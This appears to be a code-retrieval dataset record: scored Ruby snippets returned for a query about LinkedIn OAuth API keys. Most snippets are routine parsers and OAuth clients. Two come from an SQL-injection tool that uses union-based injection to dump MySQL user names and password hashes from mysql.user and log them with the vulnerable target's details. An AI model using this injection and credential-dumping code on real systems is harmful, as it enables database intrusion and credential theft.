|loc|\n\t\t\tloc.text\n\t\t}\n\n\t\tmolWeight = nil\n\t\tseqLength = nil\n\t\tseq = nil\n\t\tmain_entry.css(\"/sequence\").collect { |theSeq|\n\t\t\tmolWeight = theSeq.attributes['mass'].value\n\t\t\tseqLength = theSeq.attributes['length'].value\n\t\t\tseq = theSeq.text\n\t\t}\n\n# the very first pdb reference is got. a comparison based on resolution can improve the choice\n\t\tpdbs = main_entry.css(\"dbReference[type='PDB']\").collect { |pdb|\n\t\t\tpdb\n\t\t}\n\t\tpdbNodeMalformed = false\n\t\tpdbs.each { |node|\n\t\t\tresolution = node.css(\"property[type='resolution']\")\n\t\t\tif resolution.nil? || resolution.length == 0 then\n\t\t\t\tpdbNodeMalformed = true\n\t\t\t\tbreak\n\t\t\tend\n\t\t}\n\t\tif pdbs.empty? == false && pdbNodeMalformed == false\n# sort by value resolution to get the element with lowes resolution value\n\t\t\tpdbs = pdbs.sort_by{ |node|\n\t\t\t\tnode.css(\"property[type='resolution']\").first['value']\n\t\t\t}\n\t\tend\n\n\n\t\tpdbResult = ''\n\t\tif pdbs.empty? == false\n\t\t\tpdbResult = 'http://www.pdb.org/pdb/explore/explore.do?structureId='\n#\t\t\tpdbResult += pdbs[0].css(\"property[type='resolution']\").first['value']\n\t\t\tpdbResult += pdbs[0].attributes['id'].value\n\t\tend\n\t\thash_result = Hash.new\n\t\thash_result[:target_name] = \"#{recommended_name[0]} (#{organism[0]})\"\n\t\thash_result[:target_type] = 'PROTEIN'\n\t\thash_result[:description] = recommended_name[0]\n\t\thash_result[:synonyms] = synonyms.join('; ')\n\t\thash_result[:organism] = organism[0]\n\t\thash_result[:keywords] = keywords.join('; ')\n\t\thash_result[:cellularLocations] = location.join('; ')\n\t\thash_result[:molecularWeight] = molWeight\n\t\thash_result[:numberOfResidues] = seqLength\n\t\thash_result[:sequence] = seq\n\t\thash_result[:specificFunction] = function.join('; ')\n\t\thash_result[:pdbIdPage] = pdbResult\n\t\thash_result[:theoreticalPi] = nil\n\n\t\thash_result\n\tend", "title": "" }, { "docid": "56a53c660971d59fc9524a088c9583ff", "score": "0.45318708", "text": "def readUbcsatAndWriteToDB(ubcsat_output_file, algorun_config_id, host)\n \n ############### READ FILE.\n content=\"\"\n File.open(ubcsat_output_file, \"r\"){|ubcsat|\n \tcontent = ubcsat.gets(nil)\n }\n# puts ubcsat_output_file\n# puts content\n \n\n ############### Put the output file into the DB.\n# add_ubcsat_output_cmd = \"insert into FH_OUTPUT (OUTPUT_TEXT) values (\\\"#{content}\\\")\"\n# ubcsat_output_id = execute_cmd_with_quotes_one_autoincrement(add_ubcsat_output_cmd, false)\n\tubcsat_output_id = -1\n \n \n ############### Parse output and write runs to DB.\n File.open(ubcsat_output_file, \"r\"){|ubcsat|\n mysql_cmds = []\n \trun=1;\n \twhile line = ubcsat.gets\n \tnext if line =~ /#/\n \tif line =~ /\\d+\\s+(\\d+)\\s+(\\d+)\\s+(\\d)+\\s+(\\d+)\\s+(\\d+)\\s+(#{float_regexp})/\n \t#=== Read run output from UBCSAT. (run number not recorded)\n \tfound = $1.to_i\n \t\tseed = $2.to_i\n \t\tbest_sol = $3.to_i\n \t\tbest_length = $4.to_i\n \t\tmeasured_runlength = $5.to_i\n \t\tmeasured_runtime = $6.to_f\n \n \t\t#=== Put the run into the DB.\n# \t\tputs line\n require \"dbi_ils_accessor.rb\"\n\t\t\twriteResultToDB(algorun_config_id, seed, measured_runtime, measured_runlength, best_sol, best_length, \"#{found ==1 ? 'SAT' : 'TIMEOUT'}\", ubcsat_output_id, host)\n\n# \t\tmysql_cmd = \"insert into FH_ALGORUN VALUES(#{algorun_config_id}, #{seed}, #{measured_runtime}, #{measured_runlength}, #{best_sol}, #{best_length}, '#{found ==1 ? 'SAT' : 'TIMEOUT'}', now(), #{ubcsat_output_id}, '#{host}');\"\n# \t\tputs \"MySQLCommand: #{mysql_cmd}\"\n#\t\t\tmysql_cmds << mysql_cmd\n #\t\t\t\texecute_cmd(mysql_cmd, false)\n \n#\t\t\tif run.modulo(100)==0\n#\t\t\t execute_cmds(mysql_cmds)\n#\t\t\t execute_cmd(mysql_cmds.join(\"\\n\"), false)\n#\t\t\t mysql_cmds = []\n#\t\t\tend\n\t\t run = run+1\n \tend\n end\n# \tputs mysql_cmds\n raise \"No such file or directory : No UBCSAT run output exists in file #{ubcsat_output_file} - see output id #{ubcsat_output_id}\" unless run > 1\n# execute_cmd(mysql_cmds.join(\"\\n\"), false)\n# execute_cmds(mysql_cmds)\n }\n return true\nend", "title": "" }, { "docid": "a52ca47d0575c1926fa7d3eb4ab54765", "score": "0.45314738", "text": "def saveme\n logdir = RESULTS + $config['INJECTOR']['MYSQL']['URL'].sub('http://', '').sub('https://', '').sub(/\\/$/, '').split(\"/\")[0]\n file = logdir + \"/union_info.txt\"\n if File.exists?(file)\n # backup old copy and move out the way\n end\n Dir.mkdir(logdir) unless File.exists?(logdir) and File.directory?(logdir)\n f=File.open(file, 'w+')\n f.puts \"Target: #{$config['INJECTOR']['MYSQL']['URL'].sub('http://', '').sub('https://', '').sub(/\\/$/, '').split(\"/\")[0]}\\n\"\n f.puts \"Injection Point: #{$config['INJECTOR']['MYSQL']['LOC']}\"\n f.puts \"Method: Union\"\n f.puts \"Column Count: #{$config['INJECTOR']['MYSQL']['UNION']['COLUMN_COUNT']}\"\n f.puts \"Vulnerable Column: #{$config['INJECTOR']['MYSQL']['UNION']['VULN_COLUMN']}\\n\\n\"\n f.puts \"GET: #{$config['INJECTOR']['MYSQL']['URL']}\" if $config['INJECTOR']['MYSQL']['DATA'].nil? \n f.puts \"POST: #{$config['INJECTOR']['MYSQL']['URL']}\" unless $config['INJECTOR']['MYSQL']['DATA'].nil? \n f.puts \"DATA: #{$config['INJECTOR']['MYSQL']['DATA']}\" unless $config['INJECTOR']['MYSQL']['DATA'].nil? \n case $config['INJECTOR']['MYSQL']['LOC']\n when 'UA'\n f.puts \"User-Agent: #{$config['INJECTOR']['MYSQL']['UA']}\"\n when 'REF'\n f.puts \"Referer: #{$config['INJECTOR']['MYSQL']['REF']}\"\n when 'HEADER'\n $config['INJECTOR']['MYSQL']['HEADERS'].each do |k, v|\n f.puts \"Header Name: #{k}\"\n f.puts \"Header Value: #{v}\"\n end\n when 'COOKIE'\n $config['INJECTOR']['MYSQL']['COOKIES'].each do |k, v|\n f.puts \"Cookie Name: #{k}\"\n f.puts \"Cookie Value: #{v}\"\n end\n end\n f.puts \"\\n\\nDBMS: MySQL\"\n f.puts \"Version: #{@target_config['VERSION']}\" unless @target_config['VERSION'].nil?\n f.puts \"Host: #{@target_config['HOST']}\" unless @target_config['HOST'].nil?\n f.puts \"User: #{@target_config['USER']}\" unless @target_config['USER'].nil?\n f.puts \"Basedir: #{@target_config['BASEDIR']}\" unless @target_config['BASEDIR'].nil?\n f.puts \"Datadir: #{@target_config['DATADIR']}\" unless @target_config['DATADIR'].nil?\n f.puts \"Tmpdir: #{@target_config['TMPDIR']}\" unless @target_config['TMPDIR'].nil?\n f.puts \"DB: #{@target_config['CURRENT_DB']}\" unless @target_config['CURRENT_DB'].nil?\n f.puts \"DBS: #{@target_config['DBS'].join(', ')}\\n\\n\" unless @target_config['DBS'].empty?\n f.puts \"\\n\\n\" if @target_config['DBS'].empty?\n if not @target_config['PASSWORDS'].nil? or @target_config['PASSWORDS'].size != 0\n f.puts \"MySQL Users & Passwords:\"\n f.puts @target_config['PASSWORDS']\n f.puts \"\\n\\n\"\n end\n f.puts \"Tables from #{@target_config['CURRENT_DB']}:\\n#{@target_config['CDB_TABLES'].join(', ')}\\n\\n\" unless @target_config['CDB_TABLES'].empty?\n if @target_config['DB_TABLES'].size > 1\n count=0\n @target_config['DB_TABLES'].each do |db, tables|\n if count.to_i > 1\n f.puts \"Tables from #{db}:\\n#{tables.join(', ')}\\n\\n\" unless tables.empty?\n else\n count = count.to_i + 1 #Skip the placeholder foofuck entry....\n end\n end\n end\n f.close\n print_good(\"Basic info succesfully saved!\")\n print_good(\"Saved to: #{file}\")\n end", "title": "" }, { "docid": "5a9f13013dcd65a90534f88db153bb1c", "score": "0.4529771", "text": "def test_all_output_fields\n\t\ta = @a.request(\"한국전쟁\")\n\t\ti = a.items.first\n\t\tputs i.rc_type\n\t\tputs i.rc_code\n\t\tputs i.rc_rfile_no\n\t\tputs i.rc_ritem_no\n\t\tputs i.title\n\t\tputs i.mgt_org_name\n\t\tputs i.prod_name\n\t\tputs i.prod_year\n\t\tputs i.is_open\n\t\tputs i.arcave_type\n\t\tputs i.doc_type\n\t\tputs i.online_reading\n\t\tputs i.link\n\tend", "title": "" }, { "docid": "7f455bf852f9630b1e91ebbdb0dbb80c", "score": "0.4520961", "text": "def extract_from_euca_output(l)\n f = l.split(/\\t/)\n\n info = f[6].split(/ \\(/) # username (project, ...)\n project = info[1].split(/,/)[0][0..-1] # strip ( and ,\n type = f[8].strip\n trace \"project:%s, type:%s, date:%s\" % [project, type, Date.parse(f[9])]\n\n # age in decimal days\n age = (@now - DateTime.parse(f[9]).to_time)/3600/24\n \n # age in integer days\n # age = (Date.today - Date.parse(f[9])).to_int\n\n return project, type, age \nend", "title": "" }, { "docid": "5426814ebd423095d575cb0a9287d89a", "score": "0.45194238", "text": "def parse_trailer(string)\n {\n # identificação do registro trailer\n :tipo_registro => string[0..0].to_i,\n # identificação de arquivo retorno\n :codigo_retorno => string[1..1],\n # identificação do tipo de registro (01)\n :codigo_servico => string[2..3],\n # identificação do banco na compensação\n :codigo_banco => string[4..6],\n # complemento de registro\n #:brancos1 => string[7..16],\n # quantidade de títulos em cobrança simples\n :quantidade_titulos_simples => string[17..24].to_i,\n # valor total dos títulos em cobrança simples\n :valor_total_simples => string[25..38].to_f/100,\n # numero referência do aviso bancário\n :aviso_bancario_simples => string[39..46],\n # complemento do registro\n #:brancos2 => string[47..56],\n # quantidade registros ocorrência 02 - confirmação entradas\n :quantidade_confirmacao_entrada => string[57..61].to_i,\n # valor total registros ocorrência 02 - confirmação entradas\n :valor_total_confirmacao_entrada => string[62..73].to_f/100,\n # valor total registros ocorrência 06 - liquidação\n :valor_total_registros_liquidados => string[74..85].to_f/100,\n # quantidade registros ocorrência 06 - liquidação\n :quantidade_registros_liquidados => string[86..90].to_i,\n # Campo duplicado? repete logo acima no arquivo\n # :valor_total_registros_liquidados => string[91..102].to_f/100,\n # quantidade registros ocorrência 09 e 10 - títulos baixados\n :quantidade_titulos_baixados => string[103..107].to_i,\n # valor total registros ocorrência 09 e 10 - títulos baixados\n :valor_total_titulos_baixados => string[108..119].to_f/100,\n # quantidade registros ocorrência 13 - abatimento cancelado\n :quantidade_abatimento_cancelado => string[120..124].to_i,\n # valor total registros ocorrência 13 - abatimento cancelado\n :valor_total_abatimento_cancelado => string[125..136].to_f/100,\n # quantidade registros ocorrência 14 - vencimento alterado\n :quantidade_vencimento_alterado => string[137..141].to_i,\n # valor total registros ocorrência 14 - vencimento alterado\n :valor_total_vencimento_alterado => string[142..153].to_f/100,\n # quantidade registros ocorrência 12 - abatimento concedido\n :quantidade_abatimento_concedido => string[154..158].to_i,\n # valor total registros ocorrência 12 - abatimento concedido\n :valor_total_abatimento_concedido => string[159..170].to_f/100,\n # quantidade registros ocorrência 19 - confirmação da instrução de protesto\n :quantidade_confirmacao_protesto => string[171..175].to_i,\n # valor total registros ocorrência 19 - confirmação da instrução de protesto\n :valor_total_confirmacao_protesto => string[176..187].to_f/100,\n # brancos\n #:brancos3 => string[188..361],\n # valor total rateios efetuados\n :valor_total_rateios_efetuados => string[362..376].to_f/100,\n # quantidade rateios efetuados\n :quantidade_rateios_efetuados => string[377..384].to_i,\n # brancos\n #:brancos4 => string[385..393],\n # número sequencial do registro no arquivo\n :numero_sequencial => string[394..399].to_i\n }\n end", "title": "" }, { "docid": "5c47739d114e2beafe06bee3e5241e1f", "score": "0.45183584", "text": "def getHouseInfo (elements)\n\n $BuilderName = elements[\"HouseFile/ProgramInformation/File/BuilderName\"].text\n if $BuilderName !=nil\n $BuilderName.gsub!(/\\s*/, '') # Removes mid-line white space\n $BuilderName.gsub!(',', '-') # Replace ',' with '-'. Necessary for CSV reporting\n end\n\n $HouseType = elements[\"HouseFile/House/Specifications/HouseType/English\"].text\n if $HouseType !=nil\n $HouseType.gsub!(/\\s*/, '') # Removes mid-line white space\n $HouseType.gsub!(',', '-') # Replace ',' with '-'. Necessary for CSV reporting\n end\n\n $HouseStoreys = elements[\"HouseFile/House/Specifications/Storeys/English\"].text\n if $HouseStoreys!= nil\n $HouseStoreys.gsub!(/\\s*/, '') # Removes mid-line white space\n $HouseStoreys.gsub!(',', '-') # Replace ',' with '-'. Necessary for CSV reporting\n end\n\n locationText = \"HouseFile/House/Components/Ceiling\"\n areaCeiling_temp = 0.0\n elements.each(locationText) do |ceiling|\n if ceiling.elements[\"Measurements\"].attributes[\"area\"].to_f > areaCeiling_temp\n $Ceilingtype = ceiling.elements[\"Construction\"].elements[\"Type\"].elements[\"English\"].text\n $Ceilingtype.gsub!(/\\s*/, '') # Removes mid-line white space\n $Ceilingtype.gsub!(',', '-') # Replace ',' with '-'. Necessary for CSV reporting\n\n areaCeiling_temp = ceiling.elements[\"Measurements\"].attributes[\"area\"].to_f\n end\n end\n\n $FoundationArea = Hash.new(0)\n locationText = \"HouseFile/House/Components/Floor\"\n areaFloor_temp = 0.0\n elements.each(locationText) do |floor|\n areaFloor_temp = floor.elements[\"Measurements\"].attributes[\"area\"].to_f\n $FoundationArea[\"Floor\"] += areaFloor_temp\n end\n\n locationText = \"HouseFile/House/Components/Basement\"\n areaBasement_temp = 0.0\n elements.each(locationText) do |basement|\n if basement.elements[\"Floor\"].elements[\"Measurements\"].attributes[\"isRectangular\"] == \"true\"\n areaBasement_temp = basement.elements[\"Floor\"].elements[\"Measurements\"].attributes[\"width\"].to_f*basement.elements[\"Floor\"].elements[\"Measurements\"].attributes[\"length\"].to_f\n else\n areaBasement_temp = basement.elements[\"Floor\"].elements[\"Measurements\"].attributes[\"area\"].to_f\n end\n $FoundationArea[\"Basement\"] += areaBasement_temp\n end\n\n locationText = \"HouseFile/House/Components/Crawlspace\"\n areaCrawl_temp = 0.0\n elements.each(locationText) do |crawl|\n if crawl.attributes[\"isRectangular\"] == \"true\"\n areaCrawl_temp = crawl.elements[\"Floor\"].elements[\"Measurements\"].attributes[\"width\"].to_f*crawl.elements[\"Floor\"].elements[\"Measurements\"].attributes[\"length\"].to_f\n else\n areaCrawl_temp = crawl.elements[\"Floor\"].elements[\"Measurements\"].attributes[\"area\"].to_f\n end\n $FoundationArea[\"Crawl\"] += areaCrawl_temp\n end\n\n locationText = \"HouseFile/House/Components/Slab\"\n areaSlab_temp = 0.0\n elements.each(locationText) do |slab|\n if slab.attributes[\"isRectangular\"] == \"true\"\n areaSlab_temp = slab.elements[\"Floor\"].elements[\"Measurements\"].attributes[\"width\"].to_f*slab.elements[\"Floor\"].elements[\"Measurements\"].attributes[\"length\"].to_f\n else\n areaSlab_temp = slab.elements[\"Floor\"].elements[\"Measurements\"].attributes[\"area\"].to_f\n end\n $FoundationArea[\"Slab\"] += areaSlab_temp\n end\n\n locationText = \"HouseFile/House/Components/Walkout\"\n areaWalkout_temp = 0.0\n elements.each(locationText) do |walkout|\n areaWalkout_temp = walkout.elements[\"Measurements\"].attributes[\"l1\"].to_f*walkout.elements[\"Measurements\"].attributes[\"l2\"].to_f\n $FoundationArea[\"Walkout\"] += areaWalkout_temp\n end\n\n\nend", "title": "" }, { "docid": "34a5394d5c0e7531da43aa6f97e43c9b", "score": "0.45171303", "text": "def process_record(record)\n # filter out unwanted namespaces\n return nil unless record[\"id\"].start_with?(PID_NAMESPACE)\n\n # remove Etd and GenericFiles and other unwanted objects\n return nil if %w(Etd FindingAid GenericFile Person Profile ProfileSection LinkedResource Hydramata::Group).include?(record[\"active_fedora_model_ssi\"])\n\n # remove non-public items\n read_groups = record[\"read_access_group_ssim\"]\n return nil unless !read_groups.nil? && read_groups.include?(\"public\")\n\n # convert each id into a URL\n record[\"id\"] = record[\"id\"].sub(/^[^:]*:/, \"https://curate.nd.edu/show/\")\n record\n end", "title": "" }, { "docid": "78ace1ee6a69ec160694a3fb499045c8", "score": "0.45167667", "text": "def import(date, file, min_page = 0, max_page)\r\n\r\n \tputs \"Importing data from: #{file}\"\r\n\r\n # Load date\r\n @date = date\r\n\r\n # Regex patterns\r\n id_regex = /^(0|\\d{6,9}|\\d{12,13}|X{13}|UPI\\d{8,10}(?:\\/\\d)?|U\\/I-\\d{4}\\/\\d{2}|UF\\/I\\d{4}\\/\\d{2}|\\d{2,3}-\\d{1,7}-\\d{1,7}(?:[\\/|\\-|\\s]\\d{1,4})?)$/\r\n\r\n # output dir\r\n out_dir = File.join(Rails.root, \"db\", \"export\")\r\n Dir.mkdir(out_dir) if !Dir.exist?(out_dir)\r\n\r\n @banks = Set.new\r\n\r\n # Output CSV files\r\n @result_csv = CSV.open(File.join(out_dir, \"#{date}.csv\"), \"w\")\r\n\r\n owner_lines = []\r\n\r\n # Statistics\r\n @total = {}\r\n @total.default = 0\r\n\r\n @cases = [0, 0, 0, 0, 0, 0]\r\n\r\n start = Time.now\r\n \tPDF::Reader.new(file).pages.each_with_index do |page, page_num|\r\n \t\t#Skip first min_page\r\n next if page_num < min_page\r\n\r\n # Stop after max_page \r\n \t\tbreak if page_num > max_page\r\n\r\n @total[:pages] += 1\r\n\r\n \t\t\tpage.text.lines.each do |line|\r\n # skip empty lines\r\n \t\t\t\tif !line.strip!.blank?\r\n\r\n \t\t\t\t\t# Match owner ID - this is new owner\r\n \t\t\t\t\tif line =~ id_regex\r\n \t\t\t\t\t\t# parse and save owner info but skip first line\r\n \t\t\t\t\t\tparse(owner_lines) if !owner_lines.empty?\r\n\r\n \t\t\t\t\t\t# start capturing data for new owner\r\n \t\t\t\t\t\towner_lines = [$~[1]]\r\n # skip strings which are not accounts: headers and footers\r\n \t\t\t\t\telsif !(line =~ /Broj racuna/i || line =~ /^\\d{2}\\/\\d{2}\\/\\d{4}/ || line =~ /^JIB/) && (!owner_lines.empty?)\r\n \t\t\t\t\t\towner_lines << line.gsub(/\\s{2,}/,'\\t')\r\n \t\t\t\t\tend\r\n \t\t\t\tend\r\n \t\t\tend\r\n \t\tend\r\n\r\n @result_csv.close\r\n\r\n puts \"Statistics: #{@total.to_yaml}\\n#{@cases}\"\r\n puts \"Loading finished in: %3d:%04.2f\"%(Time.now-start).divmod(60.0)\r\n \tend", "title": "" }, { "docid": "17c89b987c83c57db880aa9c1bbc9b7e", "score": "0.45164576", "text": "def union_password_dump\n columns=[ 'user', 'host', 'password', 'super_priv', 'file_priv' ]\n # Find out how many entries exist, or fail cause we dont have privs\n inj = \"SELECT COUNT(#{columns[0]}) FROM mysql.user\"\n results = union_basic_inject($config['INJECTOR']['MYSQL']['UNION']['VULN_COLUMN'].to_i, inj)\n if results.nil? or results == ''\n print_error(\"Unable to dump any passwords from mysql.user!\")\n print_error(\"Lack of privileges? IDK....\")\n print_status(\"Possible Solutions include:\")\n print_caution(\"A) Become HR's best friend by updating the code and sending him a copy\")\n print_caution(\"B) Tweak Settings and try things again\")\n print_caution(\"C) Be a bawz and do it manually\")\n print_line(\"\")\n return false\n else\n entries = results.to_i\n end\n # Now go dump the passwords\n count=0\n titlerow = []\n columns.each { |col| titlerow << col.sub('_priv', '') }\n data=[] # Array of Arrays for table later\n data << titlerow\n while count.to_i < entries.to_i\n row_data = []\n columns.each do |col|\n inj = \"SELECT #{col} FROM mysql.user limit #{count}, 1\"\n results = union_basic_inject($config['INJECTOR']['MYSQL']['UNION']['VULN_COLUMN'].to_i, inj)\n if results.nil? or results == ''\n row_data << 'NULL'\n else\n row_data << results\n end\n end\n pad = ' ' * (row_data.size + 25) unless row_data.empty?\n pad = ' ' * 50 if row_data.nil? if row_data.empty?\n print \"\\r(ROW##{count})> #{row_data.join(',')}#{pad}\".cyan unless row_data.empty?\n data << row_data unless row_data.empty?\n count = count.to_i + 1\n end\n print_line(\"\")\n if data.size == 1\n print_error(\"Unable to dump any passwords from mysql.user!\")\n print_error(\"Lack of privileges? IDK....\")\n print_status(\"Possible Solutions include:\")\n print_caution(\"A) Become HR's best friend by updating the code and sending him a copy\")\n print_caution(\"B) Tweak Settings and try things again\")\n print_caution(\"C) Be a bawz and do it manually\")\n print_line(\"\")\n return false\n else\t\n print_good(\"MySQL Users & Password Dump\")\n pad = (data[0].size * 3) + data[0].size\n strsize = data[0].join().to_s.size\n breaker=\"\\#\" * (pad + strsize)\n print_good(\"#{breaker}\")\n table = data.to_table(:first_row_is_head => true)\n @target_config['PASSWORDS'] = table.to_s\n print_line(\"#{@target_config['PASSWORDS']}\")\n print_good(\"#{breaker}\")\n return true\n end\n end", "title": "" } ]
f76e78611759c20ec48482b2a87a1e55
left options blank for now api_key = 'YOUR_APP_API_KEY' secret_key = 'YOUR_APP_SECRET_KEY' linkedin = LinkedIn::Oauth.new(api_key, secret_key)
[ { "docid": "a6e3a845e05877b375ff914f3400cf85", "score": "0.0", "text": "def initialize(api_key, api_secet, options={})\n @api_key, @api_secret = api_key, api_secet\n @consumer_options = options.merge(ApiOptions)\n end", "title": "" } ]
[ { "docid": "3fc773d0fcb85a2827d269ef1c037290", "score": "0.79820293", "text": "def linkedin_client\n # load api\n\n linkedin_api_settings = YAML.load_file(\"#{Dir.home}/.linkedin\")\n \n consumer_key = linkedin_api_settings[\"consumer_key\"]\n consumer_secret = linkedin_api_settings[\"consumer_secret\"]\n authorize1 = linkedin_api_settings[\"authorize1\"]\n authorize2 = linkedin_api_settings[\"authorize2\"]\n client = LinkedIn::Client.new(consumer_key, consumer_secret)\n \n unless authorize1 && authorize2\n # If you want to use one of the scopes from linkedin you have to pass it in at this point\n # You can learn more about it here: http://developer.linkedin.com/documents/authentication\n request_token = client.request_token({}, :scope => \"r_basicprofile r_emailaddress\")\n\n rtoken = request_token.token\n rsecret = request_token.secret\n\n # to test from your desktop, open the following url in your browser\n # and record the pin it gives you\n puts request_token.authorize_url\n puts\n puts \"What was the pin?\"\n pin = gets.strip\n\n \n # then fetch your access keys\n authorize1, authorize2 = client.authorize_from_request(rtoken, rsecret, pin)\n #=> [\"OU812\", \"8675309\"] # <= save these for future requests\n \n linkedin_api_settings[\"authorize1\"] = authorize1\n linkedin_api_settings[\"authorize2\"] = authorize2\n f = File.open(\"#{Dir.home}/.linkedin\",\"w+\")\n f.puts linkedin_api_settings.to_yaml\n end\n # or authorize from previously fetched access keys\n client.authorize_from_access(authorize1, authorize2)\n binding.pry\nend", "title": "" }, { "docid": "82d8e00c578cac0ee2cf89dfff67f944", "score": "0.78628397", "text": "def oauth_client(options = {})\n @@linkedin_config ||= LinkedinBackup.load_config\n \n @key = @@linkedin_config['consumer_key']\n @secret = @@linkedin_config['consumer_secret']\n \n @client = Linkedin2::Consumer.new(@key, @secret,options )\n end", "title": "" }, { "docid": "b9bd6e2989c521e27ee6a9863baf1443", "score": "0.7761328", "text": "def client\n OAuth2::Client.new(\n API_KEY, \n API_SECRET, \n :authorize_url => \"/uas/oauth2/authorization?response_type=code\", #LinkedIn's authorization path\n :token_url => \"/uas/oauth2/accessToken\", #LinkedIn's access token path\n :site => \"https://www.linkedin.com\"\n )\n end", "title": "" }, { "docid": "b9bd6e2989c521e27ee6a9863baf1443", "score": "0.7761328", "text": "def client\n OAuth2::Client.new(\n API_KEY, \n API_SECRET, \n :authorize_url => \"/uas/oauth2/authorization?response_type=code\", #LinkedIn's authorization path\n :token_url => \"/uas/oauth2/accessToken\", #LinkedIn's access token path\n :site => \"https://www.linkedin.com\"\n )\n end", "title": "" }, { "docid": "40c2bbe7ef3ac3d1bab9bc1d7e70f092", "score": "0.77402824", "text": "def linkedin\n linkedin_config = GenericApiRails.config.linkedin_hash\n if linkedin_config.nil?\n logger.error('Linkedin login/signup not configured. For configuration instructions see controllers/generic_api_rails/authentication_controller.rb in the generic_api_rails project')\n render :json => { success: false , error: \"Linkedin login/signup not configured\" }\n return\n end\n\n # Get the \"Real\" authorization code\n temp_access_token = params['access_token']\n\n code_uri = URI('https://www.linkedin.com/uas/oauth2/accessToken')\n oauth_https = Net::HTTP.new(code_uri.host, code_uri.port)\n oauth_https.use_ssl = true\n\n post_data = {\n :grant_type => 'authorization_code',\n :code => temp_access_token,\n :client_id => linkedin_config[:client_id],\n :client_secret => linkedin_config[:client_secret],\n :redirect_uri => params['redirect_uri'] || linkedin_config[:redirect_uri]\n }\n post_data_string = URI.escape(post_data.collect{|k,v| \"#{k}=#{v}\"}.join('&'))\n\n code_response = oauth_https.post(code_uri.path, post_data_string)\n\n if code_response.code.to_s != 200.to_s\n # log the error message if there is one\n if code_response.body\n resp = JSON.parse(code_response.body)\n logger.error(\"Error authenticating user against Linkedin: #{resp['error_description']}\")\n end\n render :json => { success: false , error: \"Could not authenticate using Linkedin\" }\n return\n end\n\n auth_response = JSON.parse(code_response.body)\n access_token = auth_response['access_token']\n\n if access_token.nil?\n render :json => { success: false , error: \"Could not get access token from Linkedin\" }\n return\n end\n\n # Get the user's info\n # user_uri = URI('https://api.linkedin.com/v1/people/~?format=json')\n user_uri =URI('https://api.linkedin.com/v1/people/~:(id,email-address,firstName,lastName)?format=json')\n api_https = Net::HTTP.new(user_uri.host, user_uri.port)\n api_https.use_ssl = true\n\n request = Net::HTTP::Get.new(user_uri.request_uri)\n request['Authorization'] = \"Bearer #{access_token}\"\n\n user_response = api_https.request(request)\n if user_response.code.to_s != 200.to_s\n render :json => { success: false , error: \"Could not get user info from Linkedin\" }\n return\n end\n\n user_info = JSON.parse(user_response.body)\n uid = user_info['id']\n @email = user_info['emailAddress']\n\n person_hash = {\n fname: user_info[\"firstName\"],\n lname: user_info[\"lastName\"]\n #minitial: user_info[\"middle_name\"],\n #profile_picture_uri: profile_pic,\n #birthdate: user_info[\"birthday\"]\n }\n\n # You'll have to define GenericApiRails.config.oauth_with for your\n # particular application\n @results = GenericApiRails.config.oauth_with.call(provider: \"linkedin\", uid: uid, email: @email , person: person_hash)\n\n if @results[0].nil?\n @credential = nil\n else\n @credential = @results[0]\n end\n\n done\n end", "title": "" }, { "docid": "eff92dc5d2943e9c557bf251f44592e5", "score": "0.77229995", "text": "def client\n OAuth2::Client.new(\n API_KEY,\n API_SECRET,\n :authorize_url => \"/uas/oauth2/authorization?response_type=code\", #LinkedIn's authorization path\n :token_url => \"/uas/oauth2/accessToken\", #LinkedIn's access token path\n :site => \"https://www.linkedin.com\"\n )\n end", "title": "" }, { "docid": "dfe54c2ecc960f9532249d47c4882fe5", "score": "0.7526798", "text": "def client\n @client ||= LinkedIn::Client.new(settings.linkedin_api_key, settings.linkedin_api_secret)\n end", "title": "" }, { "docid": "c1868e957e9f7f0f34391eecd0f2d073", "score": "0.7417825", "text": "def linkedin(*args)\n W \"TRY linkedin\", *args unless Rails.env.test?\n\n oauth = args.extract_options!\n expect! oauth => {\n :oauth_token => String,\n :oauth_token_secret => String,\n :consumer_key => String,\n :consumer_secret => String\n }\n\n client = LinkedIn::Client.new(oauth[:consumer_key], oauth[:consumer_secret])\n client.authorize_from_access(oauth[:oauth_token], oauth[:oauth_token_secret]) \n client.send(*args) unless Rails.env.development?\n \n W \"OK linkedin\", *args unless Rails.env.test?\n end", "title": "" }, { "docid": "36c0c065a90ee3caab3d45917f6a9852", "score": "0.7361575", "text": "def create_from_linkedin\n auth = request.env[\"omniauth.auth\"]\n user = User.find_by_email(auth['info']['email'])\n if(user)\n\n sign_in user\n client = LinkedIn::Client.new(\"mgdh4gtnqnra\", \"adFWD50VxWY35Yi1\")\n client.authorize_from_access(auth['credentials']['token'],auth['credentials']['secret'])\n user.token = auth['credentials']['token'] \n user.secret = auth['credentials']['secret'] \n\n # Updated the user information\n update_profile(client,user)\n update_educations(client,user)\n update_experiences(client,user)\n redirect_to home_path\nreturn\nend\nredirect_to root_path, :alert=> \"Login with LinkedIn failed!!\"\n end", "title": "" }, { "docid": "b54c81fd39244fe3067537e03fe3b8a7", "score": "0.7258205", "text": "def initialize(options = {})\n LinkedInConnect.load_config.each do |k, v|\n instance_variable_set(\"@#{k}\", v)\n end\n @consumer_options = {\n :site => @site,\n :request_token_path => @request_token_path,\n :authorize_path => @authorize_path,\n :access_token_path => @access_token_path,\n :oauth_callback => @oauth_callback\n }\n end", "title": "" }, { "docid": "69a206840aa1944d82ba74b09e2855fd", "score": "0.7207478", "text": "def linkedin\n handle_callback(:linkedin)\n end", "title": "" }, { "docid": "4e65f6efc64011612c9a2dd9dc3d5497", "score": "0.71225536", "text": "def startLinkedInAuth\n require 'oauth2'\n\n client = OAuth2::Client.new('75yetg1f8atx89', 'le39CGDc1yQLCo9U', :site => 'https://www.linkedin.com/', :authorize_url => '/uas/oauth2/authorization')\n #specifies our site url which LinkedIn should redirect back to after the user successfully logs in\n #also includes a random state for security and the LinkedIn data which we will request from the user (basic profile info and their email address)\n redirect_to client.auth_code.authorize_url(:redirect_uri => request.protocol + request.host_with_port + '/access/finishLinkedInAuth') + '&state=' + getRandomState + '&scope=r_basicprofile%20r_emailaddress'\n end", "title": "" }, { "docid": "398619e9a9e1464c5e2f5f725d8da693", "score": "0.71198356", "text": "def linkedin_cb\n \tcode = params[:code]\n \toauth = LinkedIn::OAuth2.new\n\n \taccess_token = oauth.get_access_token(code)\n p 'access_token'\n \tp access_token.token\n\n \tapi = LinkedIn::API.new(access_token.token)\n \tmy_name = api.profile(fields: [\"first-name\", \"last-name\"])\n p my_name.first_name\n\n li_acct = LinkedinAccount.new\n li_acct[:first_name] = my_name.first_name\n li_acct[:last_name] = my_name.last_name\n li_acct[:access_token] = access_token.token\n\n current_user.linkedin_account = li_acct\n li_acct.save\n\n 